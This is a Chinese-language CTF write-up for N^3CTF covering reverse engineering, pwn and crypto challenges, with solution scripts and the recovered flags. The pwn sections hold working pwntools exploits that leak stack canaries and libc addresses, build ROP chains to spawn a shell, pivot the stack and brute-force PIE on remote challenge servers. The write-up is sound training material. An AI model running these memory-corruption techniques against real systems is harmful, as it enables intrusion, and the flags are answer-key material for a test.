20211127-N^3CTF

 

Re

CrackMe

exe,IDA打开一脸懵,然后提示说是C#编写的,用dnSpy来反编译,还可以动调

解题步骤如图所示

image-20211129153110558

将需要的输入,注册成功,获得flag

image-20211129205013363

rc4

标准的rc4,密文和秘钥如下

1
2
unsigned char key[] = "N3CTFYES";
int text[] = {0xCD, 0x53, 0x7B, 0x7F, 0x25, 0x92, 0x04, 0x98, 0x9B, 0x54, 0x93, 0xEA, 0x1D, 0x33, 0xC4, 0x90, 0x2D, 0x36, 0x93, 0xB1, 0xEC, 0x96, 0x24, 0x55, 0xFF, 0x18, 0xCC, 0xA8, 0x1C, 0x8E, 0xE5, 0x15, 0xAC, 0x4D, 0xF9, 0xBD, 0xF2, 0x5B};

rc4对一个字节一个字节操作的,加密和解密操作相同

用C或python再加密一就好,脚本

tea

标准的tea,知道key和cipher,注意数据存储的问题

我们先从IDA中找到加密后的数据en,由于是tea是对两个32位的数据(一个64位的数据)进行加密的,所以这里我们要转成DWORD,也就是4个字节

1
2
3
4
unsigned int en[10] = {
0x28974004, 0xAAD86C7C, 0x8D085185, 0xD4399568, 0xA1BBCC5E, 0x645DC758, 0xD18027A9, 0x12A59394,
0xEE77B33C, 0x22B51132
};

tea的key是128位的,因为要分成四份,每份32位,这里key={1, 2, 3, 4}直接用

然后copy下标准的tea解密函数,https://zh.wikipedia.org/wiki/微型加密算法

1
2
3
4
5
6
7
8
9
10
11
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}

最终完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdint.h>
#include <stdio.h>

void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}

void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}

int main() {
uint32_t en[10] = {
0x28974004, 0xAAD86C7C, 0x8D085185, 0xD4399568, 0xA1BBCC5E, 0x645DC758, 0xD18027A9, 0x12A59394,
0xEE77B33C, 0x22B51132
};
uint32_t k[4] = {1, 2, 3, 4};
for (int i = 0; i < 10; i += 2) {
decrypt(en + i, k);
}

puts(en);
return 0;
}

image-20211130145646730

Pwn

canary

符合canary类型中最为简单的一种:泄漏栈中的canary

image-20211129202619225

那么payload就是填充24个字节的垃圾数组,然后加上canary,再将返回地址(0x401280)覆盖成后门函数的地址

通过栈也可以清楚看到,总共填充(包括canary)0x20长数据

image-20211129204224438

最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

sh = remote("node4.buuoj.cn", 28788)
# sh = process("./canary")

back_addr = 0x401196

# leak canary
payload = b"A" * 16 + b"B" * 8
sh.sendline(payload)
sh.recvuntil(b"B" * 8)
canary = u64(sh.recv(8))- 0xa
print("canary ====> " + hex(canary))

payload = b"A" * 24 + p64(canary) + b"A" * 8 + p64(back_addr)
sh.sendline(payload)

sh.interactive()

image-20211129210508492

ret2libc

网上有道原题很像,但是打本地的,卡了好久,后来Anza师傅和尚师傅嘲笑我远程要用LicSearcher找偏移

然后还有一个坑:这里u64要输入8字节长的,输出的省略了前面的\x00,要自己填充

1
2
# read_addr = u64(p.recv(6)+'\x00'*2)
read_addr = u64(p.recvuntil('\n')[:].ljust(8, b'\x00'))

然后这道题要对齐下栈,不然打不通,参考https://gmabru.yuque.com/iw46u7/zt2b1i/wa0rp2

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *

context(arch="amd64", os="linux", log_level="debug")

# p = process("./ret2libc")
p = remote("node4.buuoj.cn", 26708)
e = ELF("./ret2libc")

puts_plt_addr = e.plt["puts"]
read_got_addr = e.got["read"]

pop_rdi_addr = 0x401253

padding = 24

payload1 = padding * b"A" + p64(pop_rdi_addr) + p64(read_got_addr) + p64(puts_plt_addr) + p64(0x401176)
p.recvuntil("Input: \n")
p.sendline(payload1)

read_addr = u64(p.recv(6)+'\x00'*2)
print(hex(read_addr))

libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
payload2 = padding * b"A" + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(0x401019) + p64(system_addr)
p.recvuntil("Input: \n")
p.sendline(payload2)

p.interactive()

LibcSearcher现在有python3的了,https://blog.csdn.net/MDong1344/article/details/120277351

image-20211129210542869

pivoting

考点

image-20211201105446287

提供了bss段,攻击思路就是在其上构造puts函数,再在溢出的时候将栈迁移到该bss处,完成类似ret2libc的操作,算基础的了

image-20211201130553884

libc有多个版本,这里选能让打印出来的libc_base后3位为0的,才是正确的libc版本

image-20211201194612148

到泄漏libc基址并重新回到main函数开始运行,这个没有问题;但是最后get shell直接调用system("/bin/sh")似乎不行,Anza师傅说要用one_dadget(但是题目没有提供libc文件,所以就去BUU的FAQ这里把libc2.23的给下下来

image-20211201182552178

可以看到有下面这些,试试看就知道

image-20211201194921923

最终的exp没有成功。。


在Anza师傅的指导下做出来了,失败的原因是,对栈迁移的理解有着本质的错误,还有对leaveret还不是很会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from LibcSearcher import *

context(arch="amd64", os="linux", log_level="debug")

p = process("./pivoting")
p = remote("node4.buuoj.cn", 28638)

e = ELF("./pivoting")

puts_plt_addr = e.plt["puts"]
puts_got_addr = e.got["puts"]
read_got_addr = e.got["read"]

main_addr = 0x4011BA
bss_addr = 0x4040A0
pop_rdi_addr = 0x401263
leave_ret_addr = 0x4011fd
ret_addr = 0x401019

payload1 =p64(ret_addr)*20+ p64(pop_rdi_addr) + p64(read_got_addr) + p64(puts_plt_addr) + p64(main_addr)
p.recvuntil(b"Input1: \n")
#gdb.attach(p)
#pause()
p.send(payload1)

payload2 = 16 * b"A" + p64(bss_addr) + p64(leave_ret_addr)
p.recvuntil(b"Input2: \n")
p.send(payload2)

# libc = ELF('../libc-2.23.so')
puts_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print("puts_addr ====>", hex(puts_addr))

#libc_base = puts_addr - libc.sym['puts']
# system_addr = libc_base + libc.sym["system"]
# bin_sh_addr = libc_base + libc.sym["/bin/sh"]

libc = LibcSearcher("read", puts_addr)
libc_base = puts_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

print("libc_base ====>", hex(libc_base))

#p.recvuntil(b"Input1: \n")
payload1 =p64(ret_addr)*20+ p64(libc_base+0xf1147)
p.send(payload1)
#p.recvuntil(b"Input2: \n")
payload3 = b'A' * 16 + p64(bss_addr) + p64(leave_ret_addr)
p.send(payload3)
p.interactive()

此外,多选择的libc小版本,用puts获得的基址可能不准确,换比如read函数

因为栈迁移可以会运行两次main函数,再次调用setbuf可能会导致一些意想不到的结果

pie

image-20211130154839050

显然我们要将这个覆盖为后门函数的地址

image-20211201012919386

由于PIE的缺陷,后面的1.5个字节是不变的,只要爆破11C0的前一个1就好

image-20211201014535765

payload后两个字节不变,瞎碰服务器上此次运行的程序的backdoor函数的倒数第四位,如果是1则可以交互的时候可以获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

while 1:
try:
# p = process("./pie")
p = remote("node4.buuoj.cn", 29495)
p.recvline()
# 本地打不通,因为libc2.27的system('/bin/sh')有栈不对齐,不用push rbp,所以跳转11C1
payload = 24 * b"a" + b"\xC1\x11"
# payload = 24 * "a" + p16(0x11C1) python2
p.send(payload)
p.interactive()
except Exception as e:
p.close()
print(e)

image-20211201015425192


以下是密码菜鸡py赛题的一天

Crypto

signin

1
dHpvdXs1MXIydDc5MS1xcDJzLTQ0MDAtODk4My0ydDA3OTEycjI5cDd9

base64$\rightarrow$caesar

1
flag{51d2f791-cb2e-4400-8983-2f07912d29b7}

baby_stream

来自RARCTF的签到题,主要考流密码,原题的代码很python,这里就直接展开并稍作修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def gen(x):
return x ** 3 + x + 1


g = []
nonce = id(gen)
for _i in range(100):
g.append(gen(nonce) % 307)
nonce += 1

with open('flag', 'r') as fp:
plain = fp.read()
for i in range(len(plain)):
print(ord(plain[i]) ^ g[i], end=' ')
# 28 127 115 26 92 122 217 187 67 287 92 94 139 139 62 73 311 85 6 218 120 19 304 65 216 167 162 20 147 274 35 88 76 66 0 46 5 22 45 19 113 255

上面的代码可以抽象成下面这个流密码生成器(平方改成立方,其实是原题WP里的图,懒得改了

每次生成的nonce是随机的,我们不难看出当最开始的那个nonce固定下来,后面两两之间的差值有一定规律

因为当我们前后相减
$$
(x+1)^3+(x+1)+1-x^3-x-1=3x^2+3x+2\notag
$$
发现两两之间的差值与最初始的状态有关,而这个初始状态在模运算下完全可以爆破

再用下已知的flag头方便理解(其实再生成一下g就好了

最终的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
cipher = '28 127 115 26 92 122 217 187 67 287 92 94 139 139 62 73 311 85 6 218 120 19 304 65 216 167 162 20 147 274 35 88 76 66 0 46 5 22 45 19 113 255'
cipher = list(map(int, cipher.split(' ')))
plain = 'flag{'
f = ord(plain[0]) ^ cipher[0]

for i in range(307):
s = f
x = 0
flag = 'f'
for j in cipher[1:]:
s = (s + 3 * (x + i) ** 2 + 3 * (x + i) + 2) % 307
flag += chr(s % 307 ^ j)
x += 1
if flag.startswith('flag'):
print(flag)
break
1
flag{30aa24a3-1e4a-4e79-ad22-9c154fa22164}

baby_nc

nc 47.96.253.167 10001

一比一还原TCTF的签到题,主要是知道下netcatgmpy2或者sage的用法,C巨犇也可以用C实现下分治算法

没有源码,用linux的工具nc连上后有提示

image-20211115143735337

也就是要计算$2^{2^{9797869}} mod\ n$的结果,其中

1
n = 91199296749700640866861970843221921564137544261129053887425392932988391945347109139916771807692421337876348836994210858876263910655470768762350727999480618878134421267998392984933961329385719026483517450921019470754415144029155942372395138271661480657908744441177122383316627111414388193786640150788888530603

只有10秒,且每次连接生成的指数和模数是不一样的

直接用python是出不来滴,但用gmpy2大数库的powmod只要3秒,用sage也很快

最后exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import gmpy2
import re

context.log_level = 'debug'
sh = remote('47.96.253.167', 10001)


def solve_param():
# Show me the answer:
# 2^(2^15564589) mod 121681006663891030353125079362654646150164550749728886750112000021783884995766049892447002069598160684689219206863221050719168669576003627002300521823506368946026163175585544560064152737971271228176382282388743375550175972802243965592596093473434521220152129320759007520132577637100332218758770863084824561257
# You have 10 seconds. gogogo!
# Your answer:
_param = sh.recvuntil(b'Your answer: ').decode()
a, b, p, n, _ = list(map(int, re.findall(r"\d+", _param)))
return gmpy2.powmod(a, 2 ** p, n)

def solve():
ans = solve_param()
sh.sendline(str(ans).encode())
sh.recvline()
flag = sh.recvline()
print(flag)


solve()

image-20211115144942991

或者在sage里,只要把上面solve_param的返回写成

1
return pow(a, 2 ** p, n)

image-20211115153106512

1
flag{88ad7950-91ab-4770-85f1-df7a0bb53a96}

也可以用C的gmp来写,gmpy2sage可能就是基于这个的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <gmp.h>
#include <time.h>

void main(int argc, char** argv) {
clock_t start, finish;
double duration;
start = clock();

int _p = atoi(argv[1]);
const char* _n = argv[2];
mpz_t a, p, n, ans;
mpz_init_set_ui(a, 2);
mpz_inits(p, n, ans, NULL);
mpz_set_str(n, _n, 10);
mpz_pow_ui(p, a, _p);
mpz_powm(ans, a, p, n);
gmp_printf("%Zd\n", ans);

finish = clock();
duration = (double)(finish - start) / CLOCKS_PER_SEC;
printf("%f seconds\n", duration);
}

image-20211115151942289

分治算法有兴趣可以看一下,这里主要考工具使用

baby_cbc

V神在某次DAS出的Yusa密码学签到,操作比较简单,摸瞎也能出:先把IV丢进去,得到Enc(b'\x00'*16),再把Enc(b'\x00'*16)丢进去,由于cbc分组模式,IV是会继承的,就是等于上一次加密得到的密文,所以第二次就是Enc(Enc(b'\x00'*16) ^ Enc(b'\x00'*16)) = Enc(b'\x00'*16)

AES的CBC模式加密如下图所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
import os
plain_blocks = []
cipher_blocks = []


def pad(a):
size = (16 - len(a) % 16) % 16
a += bytes(size) * size
return a


iv = os.urandom(16)
key = os.urandom(16)
enc = AES.new(key, AES.MODE_CBC, iv)
print(iv.hex())

for i in range(50):
try:
_plain_block_i = input()
plain_blocks.append(_plain_block_i)
plain_block_i = pad(bytes.fromhex(_plain_block_i))
cipher_block_i = enc.encrypt(plain_block_i)
cipher_blocks.append(cipher_block_i.hex())
print(cipher_block_i.hex())
except:
continue
for i in range(len(plain_blocks) - 1):
if plain_blocks[i] == cipher_blocks[i + 1] and cipher_blocks[i] != '':
with open("flag.txt") as f:
print(f.read())
exit()
print("ssssssory")

这里稍微改一下,表面上需要使得前一块和后一块密文相等,但和其实原题做法完全一样,就是简单地复制粘贴

image-20211116101054274

1
flag{a5fae854-bff1-40c6-86ed-5b7b1b84d147}

baby_RSA

hint:经典分解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
from gmpy2 import *
from sympy import *

flag = b'flag{******}'
m = bytes_to_long(flag)
P = getPrime(512)
Q = next_prime(P + getPrime(269))
N = P * Q
e = 0x10001
phi = (P - 1) * (Q - 1)
d = inverse(e, phi)
c = pow(m, e, N)
assert m == pow(c, d, N)
print(f'c = {c}')
print(f'e = {e}')
print(f'N = {N}')
# c = 43523864567514744915966689535281796032938848285272379114823034307386872487132537558002098315139078417494456662422159972154875552286129585227356449706489220730274914478951912475004304175148219692251592494173776801031153513926834828210101453328096936742697439995490235629532386225637438572176601752800221641207
# e = 65537
# n = 74800532075026000381837181416244620595735832084449587543298943677432459925226779465012047327503889744860523742208172886216379540864590422182548917267328318002568353149060053351303844576292098647505525745870477873483633887953229529381991915277382594791671160580866806786630969504851192001076830016106043571009

第一个RSA考经典费马分解吧,原理请看https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_module_attack/

当然知道原理后直接用yafu工具也可(但是我这里参数设置好像只能用脚本实现下费马定理才能出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *
from gmpy2 import *
from sympy import *

N = 74800532075026000381837181416244620595735832084449587543298943677432459925226779465012047327503889744860523742208172886216379540864590422182548917267328318002568353149060053351303844576292098647505525745870477873483633887953229529381991915277382594791671160580866806786630969504851192001076830016106043571009
a = iroot(N, 2)[0]
while True:
if iroot(abs(a ** 2 - N), 2)[1]:
x = iroot(abs(a ** 2 - N), 2)[0]
p = symbols('p')
q = symbols('q')
ans = solve([p * q - N, p - q - 2 * x], [p, q])[0]
p = abs(ans[0])
q = abs(ans[1])
print(p, q)
break
a += 1

分解N之后就基本上解决了

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
from gmpy2 import *

P, Q = 8648730084528363889079256703102451885638502646326789467433028151231988147282102518446568939251174824284022886978974447762450602661673263195651063256419309, 8648730084528363889079256703102451885638502646326789467433028151231988147950513953027745544103648427529036056091995954088466858748986415929861782517451301
c = 43523864567514744915966689535281796032938848285272379114823034307386872487132537558002098315139078417494456662422159972154875552286129585227356449706489220730274914478951912475004304175148219692251592494173776801031153513926834828210101453328096936742697439995490235629532386225637438572176601752800221641207
e = 65537
n = 74800532075026000381837181416244620595735832084449587543298943677432459925226779465012047327503889744860523742208172886216379540864590422182548917267328318002568353149060053351303844576292098647505525745870477873483633887953229529381991915277382594791671160580866806786630969504851192001076830016106043571009

phi = (P - 1) * (Q - 1)
d = invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
1
flag{d1b53047-2985-44ac-8587-9728a9b7d751}